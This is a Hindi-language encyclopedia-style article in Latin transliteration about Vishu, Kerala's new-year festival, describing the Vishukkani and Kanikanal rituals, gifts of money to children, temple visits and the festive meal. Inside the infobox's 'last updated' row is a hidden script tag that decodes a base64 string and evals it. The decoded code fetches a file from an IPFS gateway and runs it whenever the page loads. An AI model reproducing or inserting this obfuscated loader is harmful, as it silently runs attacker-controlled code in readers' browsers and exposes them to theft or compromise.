विशु
vishu
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| vivaran | yah keralavasiyoan ke lie navavarsh ka din hai. yah malayalam mahine 'medam' ki pahali tithi ko manaya jata hai. |
| varsh 2015 | 15 aprॅl |
| utsav | vishu ki subah hi sote bachchoan ke kan mean 'kani'-'kani' 'kani'-aise guanjaya jata hai ki bachcha niand ko chho dakar uth kh da ho. malayalam bhasha mean 'kani' shabd ka arth hai-'phal'. isake bad bachchoan ko phaloan ki davat di jati hai. vishu ke is shubh din par keral ke har ghar mean sangit ki lahariyaan gooanjati haian. |
| dharmik anushthan | vishu ke din anek dharmik karmakand ayojit kie jate haian. vishu ke pahale uttari keral ke mandiroan mean 'braitam' ka ayojan hota hai. braitam ek tarah se purushoan ke dvara apane ishtadev ko rijhane ke lie prarthana hai. |
| vishu kainitam | is tyohar par parivar ke chhote bachchoan ko kuchh nagad dhan dene ki bhi parampara hai. ise "vishu kainitam" kaha jata hai. logoan mean manyata hai ki yah kary bhavishy mean unake bachchoan ki samriddhi sunishchith karata hai. |
| any janakari | keral mean vishu utsav ke din dhan ki buaee ka kam shuroo hota hai. is din ko yahaan "malayali nyoo eeyar vishu" ke nam se pukara jata hai. |
| adyatan | 17:26, 15 aprॅl 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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vishu (aangrezi: Vishu) keral ka prasiddh utsav hai. yah keralavasiyoan ke lie navavarsh ka din hai. yah malayalam mahine 'medam' ki pahali tithi ko manaya jata hai. keral mean vishu utsav ke din dhan ki buaee ka kam shuroo hota hai. is din ko yahaan "malayali nyoo eeyar vishu" ke nam se pukara jata hai. basant rritu mean sukhad asha v apeksha ki bhavanaoan ko sanjoe keral mean vishu (vishu) parv bhi any parvoan ki bhaanti harshollas se manaya jata hai. pratahkal mean vishukani ke shubh darshan ki riti ka anusaran karate ae keralavasi is parv ka shubharambh karate haian. keral ke pratyek hindoo parivar mean logoan ko jitani pratiksha apane navavarsh 'vishu' ki hoti hai, utani shayad hi kisi any tyohar ki hoti hai. vishu unake naye varsh ka tyohar hai. mesh sankranti arthath chaitr shukl pratipada se keral mean navavarsh ka shubharambh hota hai. is avasar par naye panchaang ki pooja karake use upasthit janasamuday ke bich mean padha jata hai aur naye varsh ka bhavishy phal bataya jata hai.
utsav ka prarambh
malayali mas 'medam' ke pratham din hi vishu ka tyohar harsh v ullas se manaya jata hai. vishu ki subah hi sote bachchoan ke kan mean 'kani'-'kani' 'kani'-aise guanjaya jata hai ki bachcha niand ko chho dakar uth kh da ho. malayalam bhasha mean 'kani' shabd ka arth hai-'phal'. isake bad bachchoan ko phaloan ki davat di jati hai. vishu ke is shubh din par keral ke har ghar mean sangit ki lahariyaan gooanjati haian. log bhakti-sangit mean lin hokar naye varsh ka svagat karate haian. ek tarah se kisanoan ke lie yah parv ashapuanj hai. is din ve sukhi v samriddh jivan ki kamana karate haian. aangrezi kalendar ke anusar yah din aprail-mee mean ata hai. hinduoan ke lie yah avasar atyant mahattvapoorn hai, kyoanki vishu ka tyohar navavarsh ka shubharambh ghoshit karata hai. vishu ke din paramparabaddh keralavasi anek rangarang anushthan v vidhiyoan ka palan karate haian. adhikatar ye paramparaean is vishvas par adharit haian ki vishuparv dhoom–dham se manana chahie, kyoanki navavarsh ke pratham din ke shubhakary poore varsh bhi jari raheange.
pooja
malayalam samaj mean is din mandiro mean vishukkani ke darshan kar samaj ke liye nav varsh ka svagat kiya jata hai. keral mean vishu utsav par paranparik nrihty gan ke sath atishabazi ka anand liya jata hai. is din visheshakar ayyapa mandir mean vishesh pooja archana ki jati hai. vishu yani bhagavan "shri krishna" aur kani yani "tokari". vishu parv par bhagavan shri krishna ko tokari mean rakhakar usamean katahal, kaddoo, pile phool, kaanch, nariyal aur any chizoan se sajaya jata hai. is din sabase pahale ghar ka mukhiya aankhean band kar vishukkani ke darshan karata hai. kee jagahoan par ghar ke mukhiya se pahale bachchoan ko dev vishukkani ke darshan karaye jate haian. nav varsh ke din sabase pahale dev ke darshan karane ka uddeshy apane poore varsh ko shubh karane se ju da hua hai. left|pooja archana ka saman|thumb
dharmik anushthan
vishu ke din anek dharmik karmakand ayojit kie jate haian. vishu ke pahale uttari keral ke mandiroan mean 'braitam' ka ayojan hota hai. braitam ek tarah se purushoan ke dvara apane ishtadev ko rijhane ke lie prarthana hai. is aradhana mean do vibhinn jatiyoan ke log devi aur devata ka roop dharan karake rang–birange vastr pahan kar mandir ke samaksh nrity karate haian. akarshak rangoan se range unake mukhote ki chhavi tatha nrity ki lay ke sath 'chheanda', dholoan ki tez dhvani ek nirala sama baandh deti hai. vishu ke din 'kanikanal' anushthan keral ki mahattvapoorn dharmik parampara hai.
kanikanal ki parampara
yah anushthan sabase mahattvapoorn hai. isaka shabdik arth hai, "pratham darshan". kanikanal riti ke anusar anek vastuoan ka vidhan hai, jinhean shubh ki asha rakhane vale vyakti ko pratah sarvapratham dekhana chahie. in vastuoan mean sammilit haian-patr–pustak, abhooshan, svachchh shvetavastr, chaval ya dhan ki kuchh matra, konna, vriksh ke pushp, adha kata sitaphal, nariyal tatha pila khira. ye sabhi vastuean ek b de patr mean rakhi jati haian. is patr ke pichhe laghu ghantiyoan se yukt shisha v mala dharan kie krishna ki moorti rakhi jati hai tatha urdhv disha mean unmukh tel ke dipak, moorti ke nikat rakhe jate haian. kani ki taiyariyaan grihalakshmi ek rat poorv karati hai. kani ke lie sarvapratham ghar ka mukhiya ata hai tatha any parivarijan usake bad ate haian. bachchoan ki aankhoan par patti baandhakar unhean kamare se pratah sabase pahale kanikanal dikhane ke lie laya jata hai. vishukani ko bad mean nirdhanoan v zaroorat mand logoan mean baanta jata hai. is riti ke pichhe yah atoot vishvas hai ki is din sarvapratham dhan sampatti ke darshan se varshabhar dhan-sampatti milati hai.
vishu kainitam
is tyohar par parivar ke chhote bachchoan ko kuchh nagad dhan dene ki bhi parampara hai. ise "vishu kainitam" kaha jata hai. logoan mean manyata hai ki yah kary bhavishy mean unake bachchoan ki samriddhi sunishchith karata hai.
mandir mean vishukani
bahut se log vishukani mandir mean dekhana pasand karate haian. guruvayoor, ambalapoodha v sabarimala ke mandiroan mean bhari bhi d dekhi ja sakati hai. in mandiroan mean is din vishesh prarthanaean ki jati haian. log mandiroan ke praangan mean vishu se ek din pahale hi rat bitate haian, taki ve vishu ke din sarvapratham kani ko dekh sakean. shraddhalu apani aankhean band kar mandir ke kapat khulane ki pratiksha karate haian. dvar khulate hi ve sarvapratham kani par dhyan kendrit karate haian.
samaroh aur svadisht vyanjan
grihasthiyaan "sadaya" namak bhoj taiyar karati haian. jise dopahar ke samay sabhi log grahan karate haian. pakavan prayah kaddoo, am, ghiya, karela, any shakahari vastuoan v phaloan se banae jate haian. ye sabhi vastuean is rritu mean prachur matra mean upalabdh hoti haian. log kodivastramh (ne kap de) bhi is din pahanate haian. nrity, sangit ke bich patassu (patakhe) bajae jate haian.
vishuvela
vishuvela navavarsh mela hai, jise utsah se manaya jata hai. yuvak–yuvatiyoan ka samooh chochjhi ke roop mean luangi v kele ke patroan ko pahan tatha apane mukh ko dhakakar gaanv mean ghar ghar–ghar jata hai. ye log kuchh dhanarashi ekatrit karate haian. vishu ke din inhean apane pradarshan ke lie achchha inam mil jata hai. is dhan ko vishuvela mean kharch kiya jata hai.
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